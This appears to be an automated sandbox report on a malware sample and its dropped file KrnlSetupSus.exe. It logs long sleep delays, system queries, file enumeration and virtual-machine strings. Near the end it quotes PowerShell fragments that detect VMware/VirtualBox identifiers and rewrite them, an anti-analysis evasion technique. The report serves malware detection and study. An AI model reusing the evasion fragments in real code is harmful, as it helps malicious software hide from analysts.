Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597452s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597229s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -597014s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596345s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596218s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -595889s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594998s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594671s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594453s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594343s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594234s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594124s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -594014s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -593906s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -593796s >= -30000s	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe TID: 1976	Thread sleep time: -593687s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep count: 4048 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7532	Thread sleep count: 4222 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 7700	Thread sleep count: 376 > 30	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 7700	Thread sleep time: -37600s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 7684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7832	Thread sleep count: 7857 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7832	Thread sleep time: -7857000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7832	Thread sleep count: 2142 > 30	Jump to behavior
Source: C:\Windows\System32\winlogon.exe TID: 7832	Thread sleep time: -2142000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\lsass.exe TID: 7856	Thread sleep count: 9831 > 30
Source: C:\Windows\System32\lsass.exe TID: 7856	Thread sleep time: -9831000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7856	Thread sleep count: 108 > 30
Source: C:\Windows\System32\lsass.exe TID: 7856	Thread sleep time: -108000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7868	Thread sleep count: 245 > 30
Source: C:\Windows\System32\svchost.exe TID: 7868	Thread sleep time: -245000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 7912	Thread sleep count: 9859 > 30
Source: C:\Windows\System32\dwm.exe TID: 7912	Thread sleep time: -9859000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7932	Thread sleep count: 258 > 30
Source: C:\Windows\System32\svchost.exe TID: 7932	Thread sleep time: -258000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7992	Thread sleep count: 259 > 30
Source: C:\Windows\System32\svchost.exe TID: 7992	Thread sleep time: -259000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8012	Thread sleep count: 97 > 30
Source: C:\Windows\System32\svchost.exe TID: 8012	Thread sleep time: -97000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8020	Thread sleep count: 251 > 30
Source: C:\Windows\System32\svchost.exe TID: 8020	Thread sleep time: -251000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8028	Thread sleep count: 43 > 30
Source: C:\Windows\System32\svchost.exe TID: 8028	Thread sleep time: -43000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8036	Thread sleep count: 257 > 30
Source: C:\Windows\System32\svchost.exe TID: 8036	Thread sleep time: -257000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8052	Thread sleep count: 247 > 30
Source: C:\Windows\System32\svchost.exe TID: 8052	Thread sleep time: -247000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8072	Thread sleep count: 227 > 30
Source: C:\Windows\System32\svchost.exe TID: 8072	Thread sleep time: -227000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8080	Thread sleep count: 240 > 30
Source: C:\Windows\System32\svchost.exe TID: 8080	Thread sleep time: -240000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8088	Thread sleep count: 238 > 30
Source: C:\Windows\System32\svchost.exe TID: 8088	Thread sleep time: -238000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8096	Thread sleep count: 249 > 30
Source: C:\Windows\System32\svchost.exe TID: 8096	Thread sleep time: -249000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8104	Thread sleep count: 253 > 30
Source: C:\Windows\System32\svchost.exe TID: 8104	Thread sleep time: -253000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8144	Thread sleep count: 242 > 30
Source: C:\Windows\System32\svchost.exe TID: 8144	Thread sleep time: -242000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8160	Thread sleep count: 252 > 30
Source: C:\Windows\System32\svchost.exe TID: 8160	Thread sleep time: -252000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8168	Thread sleep count: 248 > 30
Source: C:\Windows\System32\svchost.exe TID: 8168	Thread sleep time: -248000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8176	Thread sleep count: 255 > 30
Source: C:\Windows\System32\svchost.exe TID: 8176	Thread sleep time: -255000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 8184	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 8184	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 608	Thread sleep count: 242 > 30
Source: C:\Windows\System32\svchost.exe TID: 608	Thread sleep time: -242000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2736	Thread sleep count: 227 > 30
Source: C:\Windows\System32\svchost.exe TID: 2736	Thread sleep time: -227000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3068	Thread sleep count: 66 > 30
Source: C:\Windows\System32\svchost.exe TID: 3068	Thread sleep time: -66000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 2068	Thread sleep count: 230 > 30
Source: C:\Windows\System32\svchost.exe TID: 2068	Thread sleep time: -230000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5836	Thread sleep count: 64 > 30
Source: C:\Windows\System32\svchost.exe TID: 5836	Thread sleep time: -64000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 4564	Thread sleep count: 65 > 30
Source: C:\Windows\System32\svchost.exe TID: 4564	Thread sleep time: -65000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6732	Thread sleep count: 235 > 30
Source: C:\Windows\System32\svchost.exe TID: 6732	Thread sleep time: -235000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6884	Thread sleep count: 254 > 30
Source: C:\Windows\System32\svchost.exe TID: 6884	Thread sleep time: -254000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5848	Thread sleep count: 242 > 30
Source: C:\Windows\System32\svchost.exe TID: 5848	Thread sleep time: -242000s >= -30000s
Source: C:\Windows\System32\spoolsv.exe TID: 6772	Thread sleep count: 166 > 30
Source: C:\Windows\System32\spoolsv.exe TID: 6772	Thread sleep time: -166000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5644	Thread sleep count: 227 > 30
Source: C:\Windows\System32\svchost.exe TID: 5644	Thread sleep time: -227000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5660	Thread sleep count: 54 > 30
Source: C:\Windows\System32\svchost.exe TID: 5660	Thread sleep time: -54000s >= -30000s

Source: C:\ProgramData\KrnlSetupSus.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dllhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\dwm.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\spoolsv.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\ProgramData\KrnlSetupSus.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C56D654 FindFirstFileExW,	3_2_1C56D654
Source: C:\ProgramData\KrnlSetupSus.exe	Code function: 3_2_1C56D7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_1C56D7D8
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000290EDD0D654 FindFirstFileExW,	6_2_00000290EDD0D654
Source: C:\Windows\System32\dllhost.exe	Code function: 6_2_00000290EDD0D7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	6_2_00000290EDD0D7D8
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E99175D654 FindFirstFileExW,	7_2_000002E99175D654
Source: C:\Windows\System32\winlogon.exe	Code function: 7_2_000002E99175D7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_000002E99175D7D8
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCED7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_00000213BDCED7D8
Source: C:\Windows\System32\lsass.exe	Code function: 10_2_00000213BDCED654 FindFirstFileExW,	10_2_00000213BDCED654
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000158709DD7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	11_2_00000158709DD7D8
Source: C:\Windows\System32\svchost.exe	Code function: 11_2_00000158709DD654 FindFirstFileExW,	11_2_00000158709DD654
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB158D654 FindFirstFileExW,	12_2_0000026DB158D654
Source: C:\Windows\System32\dwm.exe	Code function: 12_2_0000026DB158D7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	12_2_0000026DB158D7D8
Source: C:\Windows\System32\svchost.exe	Code function: 13_2_000002A3F066D654 FindFirstFileExW,	13_2_000002A3F066D654
Source: C:\Windows\System32\svchost.exe	Code function: 13_2_000002A3F066D7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	13_2_000002A3F066D7D8
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002C9AFBBD7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	15_2_000002C9AFBBD7D8
Source: C:\Windows\System32\svchost.exe	Code function: 15_2_000002C9AFBBD654 FindFirstFileExW,	15_2_000002C9AFBBD654
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_000002C06FD4D654 FindFirstFileExW,	16_2_000002C06FD4D654
Source: C:\Windows\System32\svchost.exe	Code function: 16_2_000002C06FD4D7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_000002C06FD4D7D8
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000002917C3BD654 FindFirstFileExW,	17_2_000002917C3BD654
Source: C:\Windows\System32\svchost.exe	Code function: 17_2_000002917C3BD7D8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	17_2_000002917C3BD7D8

Source: C:\Users\user\Desktop\RdLfpZY5A9.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599448	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599338	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599233	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598465	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598248	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 598115	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597999	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597777	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597452	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597229	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 597014	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596345	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 595889	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594998	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594234	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594124	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 594014	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 593906	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 593796	Jump to behavior
Source: C:\ProgramData\KrnlSetupSus.exe	Thread delayed: delay time: 593687	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000015.00000000.1538124279.0000024BD362B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2791081591.0000024BD362B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @Microsoft-Windows-Hyper-V-Hypervisor
Source: svchost.exe, 00000015.00000002.2792411923.0000024BD3643000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmci
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 00000012.00000002.2842600921.0000022383012000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: zSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000_0r
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: NECVMWarVMware SATA CD00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: LSI_SASVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 0000002B.00000000.1668423304.000001FC05B00000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000000.1667535846.000001FC0522B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.2781041464.000001FC05245000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000000.1667574573.000001FC05245000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.2779578130.000001FC0522B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000027.00000002.2774314138.000001A6DDA60000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NTFS;;SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000027.00000002.2776549505.000001A6DDB02000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-Storsvc%4Diagnostic.evtx.21.dr	Binary or memory string: VMware Virtual disk 2.0 6000c2942fce4d06663969f532e45d1aPCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218E0F40&0&00NTFS
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.21.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1ap
Source: Microsoft-Windows-PowerShell%4Operational.evtx.21.dr	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware Virtual disk", $value).replace("VMware", $value).replace("HARDDISK", "WDC").replace("VIRTUAL_DISK", $value)
Source: svchost.exe, 00000015.00000000.1538023734.0000024BD35D0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pVMwareVirtual disk6000c29198182f16b7176b0e680deba6
Source: dwm.exe, 0000000C.00000003.2106459407.0000026DACB82000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: System.evtx.21.dr	Binary or memory string: VMCI: Using capabilities (0x1c).
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.21.dr	Binary or memory string: pVMwareVirtual disk6000c29198182f16b7176b0e680deba68
Source: Microsoft-Windows-PowerShell%4Operational.evtx.21.dr	Binary or memory string: $value = $pr.Value.replace("VEN_80EE", $value).replace("VEN_15AD", $value).replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("82801FB", $value).replace("82441FX", $value).replace("82371SB", $value).replace("OpenHCD", $value).replace("VMWare", $value).replace("VMware", $value)
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}1e
Source: KrnlSetupSus.exe.0.dr	Binary or memory string: vmware
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: nonicNECVMWarVMware SATA CD00
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.21.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a@
Source: svchost.exe, 00000015.00000002.2824460745.0000024BD5025000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: vmcir:m
Source: svchost.exe, 00000015.00000000.1538941161.0000024BD3FE2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: dowvmci
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.21.dr	Binary or memory string: VMware
Source: svchost.exe, 00000027.00000000.1650153934.000001A6DDA2B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: &@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: Microsoft-Windows-PowerShell%4Operational.evtx.21.dr	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
